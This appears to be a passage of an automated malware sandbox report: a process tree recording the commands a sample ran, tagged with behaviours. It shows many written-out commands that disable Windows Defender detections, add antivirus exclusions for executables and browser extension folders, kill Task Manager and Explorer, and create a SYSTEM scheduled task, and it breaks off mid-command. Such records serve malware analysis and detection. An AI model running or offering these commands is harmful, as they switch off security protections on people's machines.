        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        13⤵
        
        PID:2400
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        11⤵
        
        PID:3932
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        12⤵
        
        PID:2952
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        13⤵
        
        PID:3000
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        11⤵
        
        PID:4168
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        12⤵
        
        PID:1116
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        13⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2644
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        10⤵
        
        PID:3652
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        11⤵
        
        PID:4876
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        12⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1116
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 23:14:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS2045.tmp\Install.exe\" it /dBldidGThn 385118 /S" /V1 /F
        10⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:4168
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
        10⤵
        
        PID:848
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        11⤵
        
        PID:1432
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        12⤵
        
        PID:4820
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4444
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1180
    - - C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\ac3.exe
        
        ac3.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: GetForegroundWindowSpam
        
        PID:2408
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im fontdrvhost.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3932
    - - C:\Windows\system32\icacls.exe
        
        icacls c:\Windows\explorer.exe /grant Admin:(F,M)
        5⤵
        Modifies file permissions
        
        PID:4236
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 15
        5⤵
        Delays execution with timeout.exe
        
        PID:4296
    - - C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\jaffa.exe
        
        jaffa.exe
        5⤵
        Executes dropped EXE
        Drops file in System32 directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:3572
      - C:\Windows\SysWOW64\tyaptijqml.exe
        
        tyaptijqml.exe
        6⤵
        Modifies visibility of file extensions in Explorer
        Modifies visiblity of hidden/system files in Explorer
        Windows security bypass
        Disables RegEdit via registry modification
        Executes dropped EXE
        Windows security modification
        Enumerates connected drives
        Modifies WinLogon
        Drops file in System32 directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:2256
        
        C:\Windows\SysWOW64\zhwfpelw.exe
        
        C:\Windows\system32\zhwfpelw.exe
        7⤵
        Executes dropped EXE
        Enumerates connected drives
        Drops file in System32 directory
        Drops file in Windows directory
        Suspicious use of FindShellTrayWindow
        
        PID:2104
      - C:\Windows\SysWOW64\xaiysollkkahusz.exe
        
        xaiysollkkahusz.exe
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:3020
      - C:\Windows\SysWOW64\zhwfpelw.exe
        
        zhwfpelw.exe
        6⤵
        Executes dropped EXE
        Enumerates connected drives
        Drops file in System32 directory
        Drops file in Windows directory
        Suspicious use of FindShellTrayWindow
        
        PID:3984
      - C:\Windows\SysWOW64\ykzjefpcbszge.exe
        
        ykzjefpcbszge.exe
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:468
      - C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
        
        "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Windows\mydoc.rtf" /o ""
        6⤵
        Drops file in Windows directory
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: AddClipboardFormatListener
        Suspicious use of SetWindowsHookEx
        
        PID:1896
        
        C:\Windows\splwow64.exe
        
        C:\Windows\splwow64.exe 12288
        7⤵
        
        PID:3600
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 15
        5⤵
        Delays execution with timeout.exe
        
        PID:2132

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3732

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4844 -ip 4844
1⤵
PID:3104

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D8 0x00000000000004F0
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3408

C:\Users\Admin\AppData\Local\Temp\7zS2045.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS2045.tmp\Install.exe it /dBldidGThn 385118 /S
1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4964
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:2936
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:4288
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:2592
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:944
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:4616
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:4396
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:3688
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:4248
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:1428
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:4408
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:3476
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:3612
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:4816
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:1460
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:4852
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:4460
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:4816
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:3612
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3732
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1820
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:1488
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4460
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3244
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4828
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1764
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:400
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3772
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3708
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1592
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4428
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2540
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:880
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2320
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2492
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4168
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4112
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2876
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3760
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3232
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3440
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3656
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2416
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:852
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3392
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4616
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4492
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1756
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v 